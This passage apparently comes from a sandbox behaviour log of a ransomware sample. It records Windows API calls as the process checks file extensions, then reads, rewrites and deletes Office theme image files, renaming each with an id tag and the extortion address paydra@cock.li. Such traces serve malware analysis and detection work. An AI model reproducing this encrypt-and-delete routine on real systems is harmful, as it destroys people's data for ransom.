(lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.589] lstrlenW (lpString=".ppt") returned 4 [0045.589] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.589] lstrlenW (lpString=".zip") returned 4 [0045.589] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.589] lstrlenW (lpString=".rar") returned 4 [0045.589] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.589] lstrlenW (lpString=".bz2") returned 4 [0045.589] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.589] lstrlenW (lpString=".7z") returned 3 [0045.589] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.589] lstrlenW (lpString=".dbf") returned 4 [0045.589] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.589] lstrlenW (lpString=".1cd") returned 4 [0045.589] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString=".jpg") returned 4 [0045.590] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString=".doc") returned 4 [0045.590] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.590] lstrlenW (lpString=".docx") returned 5 [0045.590] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.590] lstrlenW (lpString=".pdf") returned 4 [0045.590] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.590] lstrlenW (lpString=".xls") returned 4 [0045.590] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.590] lstrlenW (lpString=".xlsx") returned 5 [0045.590] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.590] lstrlenW (lpString=".ppt") returned 4 [0045.590] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString=".zip") returned 4 [0045.590] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.590] lstrlenW (lpString=".rar") returned 4 [0045.590] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.590] lstrlenW (lpString=".bz2") returned 4 [0045.590] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.590] lstrlenW (lpString=".7z") returned 3 [0045.590] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString=".dbf") returned 4 [0045.590] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString=".1cd") returned 4 [0045.590] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.590] lstrlenW (lpString=".jpg") returned 4 [0045.591] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.591] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.591] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.591] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1347) returned 1 [0045.591] CloseHandle (hObject=0x1c8) returned 1 [0045.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0045.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.591] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.591] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.596] GetLastError () returned 0x0 [0045.596] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x543, lpOverlapped=0x0) returned 1 [0045.599] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.600] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.600] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.600] SetEndOfFile (hFile=0x214) returned 1 [0045.600] CloseHandle (hObject=0x214) returned 1 [0045.601] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.601] SetEndOfFile (hFile=0x1c8) returned 1 [0045.601] CloseHandle (hObject=0x1c8) returned 1 [0045.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.602] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.602] lstrlenW (lpString=".doc") returned 4 [0045.602] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.602] lstrlenW (lpString=".docx") returned 5 [0045.602] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.602] lstrlenW (lpString=".pdf") returned 4 [0045.602] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.602] lstrlenW (lpString=".xls") returned 4 [0045.602] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.602] lstrlenW (lpString=".xlsx") returned 5 [0045.602] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.602] lstrlenW (lpString=".ppt") returned 4 [0045.602] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.602] lstrlenW (lpString=".zip") returned 4 [0045.602] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.602] lstrlenW (lpString=".rar") returned 4 [0045.602] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.602] lstrlenW (lpString=".bz2") returned 4 [0045.603] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.603] lstrlenW (lpString=".7z") returned 3 [0045.603] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.603] lstrlenW (lpString=".dbf") returned 4 [0045.603] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.603] lstrlenW (lpString=".1cd") returned 4 [0045.603] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.603] lstrlenW (lpString=".jpg") returned 4 [0045.603] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.603] lstrlenW (lpString=".doc") returned 4 [0045.603] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.603] lstrlenW (lpString=".docx") returned 5 [0045.603] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.603] lstrlenW (lpString=".pdf") returned 4 [0045.603] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.603] lstrlenW (lpString=".xls") returned 4 [0045.603] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.603] lstrlenW (lpString=".xlsx") returned 5 [0045.603] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.603] lstrlenW (lpString=".ppt") returned 4 [0045.603] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.603] lstrlenW (lpString=".zip") returned 4 [0045.603] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.603] lstrlenW (lpString=".rar") returned 4 [0045.603] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.603] lstrlenW (lpString=".bz2") returned 4 [0045.604] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.604] lstrlenW (lpString=".7z") returned 3 [0045.604] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.604] lstrlenW (lpString=".dbf") returned 4 [0045.604] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.604] lstrlenW (lpString=".1cd") returned 4 [0045.604] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.604] lstrlenW (lpString=".jpg") returned 4 [0045.604] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.604] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.604] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.604] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=26402) returned 1 [0045.604] CloseHandle (hObject=0x1c8) returned 1 [0045.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0045.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.605] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.605] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.605] GetLastError () returned 0x0 [0045.605] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6722, lpOverlapped=0x0) returned 1 [0045.896] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0045.897] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.897] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.897] SetEndOfFile (hFile=0x214) returned 1 [0045.897] CloseHandle (hObject=0x214) returned 1 [0045.898] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.898] SetEndOfFile (hFile=0x1c8) returned 1 [0045.898] CloseHandle (hObject=0x1c8) returned 1 [0045.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.899] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0045.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.899] lstrlenW (lpString=".doc") returned 4 [0045.899] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.899] lstrlenW (lpString=".docx") returned 5 [0045.899] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.899] lstrlenW (lpString=".pdf") returned 4 [0045.899] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.899] lstrlenW (lpString=".xls") returned 4 [0045.899] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.899] lstrlenW (lpString=".xlsx") returned 5 [0045.899] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.899] lstrlenW (lpString=".ppt") returned 4 [0045.899] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.899] lstrlenW (lpString=".zip") returned 4 [0045.899] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.899] lstrlenW (lpString=".rar") returned 4 [0045.899] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.899] lstrlenW (lpString=".bz2") returned 4 [0045.899] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.899] lstrlenW (lpString=".7z") returned 3 [0045.900] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.900] lstrlenW (lpString=".dbf") returned 4 [0045.900] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.900] lstrlenW (lpString=".1cd") returned 4 [0045.900] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.900] lstrlenW (lpString=".jpg") returned 4 [0045.900] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.900] lstrlenW (lpString=".doc") returned 4 [0045.900] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.900] lstrlenW (lpString=".docx") returned 5 [0045.900] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.900] lstrlenW (lpString=".pdf") returned 4 [0045.900] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.900] lstrlenW (lpString=".xls") returned 4 [0045.900] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.900] lstrlenW (lpString=".xlsx") returned 5 [0045.900] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.900] lstrlenW (lpString=".ppt") returned 4 [0045.900] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.900] lstrlenW (lpString=".zip") returned 4 [0045.900] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.900] lstrlenW (lpString=".rar") returned 4 [0045.900] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.900] lstrlenW (lpString=".bz2") returned 4 [0045.900] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.901] lstrlenW (lpString=".7z") returned 3 [0045.901] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.901] lstrlenW (lpString=".dbf") returned 4 [0045.901] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.901] lstrlenW (lpString=".1cd") returned 4 [0045.901] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0045.901] lstrlenW (lpString=".jpg") returned 4 [0045.901] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.901] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.901] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.902] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1232) returned 1 [0045.902] CloseHandle (hObject=0x1c8) returned 1 [0045.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0045.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.902] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.902] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.205] GetLastError () returned 0x0 [0046.205] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0046.207] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0046.208] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.208] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.208] SetEndOfFile (hFile=0x1a8) returned 1 [0046.208] CloseHandle (hObject=0x1a8) returned 1 [0046.208] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.208] SetEndOfFile (hFile=0x1c8) returned 1 [0046.209] CloseHandle (hObject=0x1c8) returned 1 [0046.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0046.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.209] lstrlenW (lpString=".doc") returned 4 [0046.209] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.209] lstrlenW (lpString=".docx") returned 5 [0046.209] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.209] lstrlenW (lpString=".pdf") returned 4 [0046.209] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.209] lstrlenW (lpString=".xls") returned 4 [0046.209] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.209] lstrlenW (lpString=".xlsx") returned 5 [0046.209] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.209] lstrlenW (lpString=".ppt") returned 4 [0046.210] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 